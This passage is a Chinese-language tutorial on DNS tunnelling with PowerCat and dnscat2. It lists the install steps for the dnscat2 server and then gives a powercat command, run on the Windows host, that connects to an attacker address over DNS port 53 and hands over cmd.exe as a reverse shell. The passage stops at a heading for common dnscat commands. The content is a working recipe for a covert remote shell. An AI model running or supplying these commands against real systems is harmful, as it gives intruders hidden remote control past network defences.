PowerCat DNS 隧道通信

powercat 也是一套基于 DNS 通信协议的工具。Powercat的dns的通信是基于dnscat设计的(其服务端就是dnscat)。在使用dnscat时需要进行下载和编译。

dnscat服务端安装：

#git clone https://github.com/iagox86/dnscat2.git

#cd dnscat2/server

#sudo gem install bundler

#sudo bundle install

#sudo ruby ./dnscat2.rb

参考链接：https://www.cnblogs.com/KevinGeorge/p/9100028.html

然后在安装了dnscat的linux主机上执行如下命令

ruby dnscat2.rb ttpowercat.test -e open --no-cache

执行以上命令后，返回windows主机，执行如下命令:

powercat -c 192.168.190.112 -p 53 -dns ttpowercat.test -e cmd.exe

可以看到dnscat上的已经接收到反弹shell了（-dns参数表示使用dns通信）

dnscat 常用命令如下：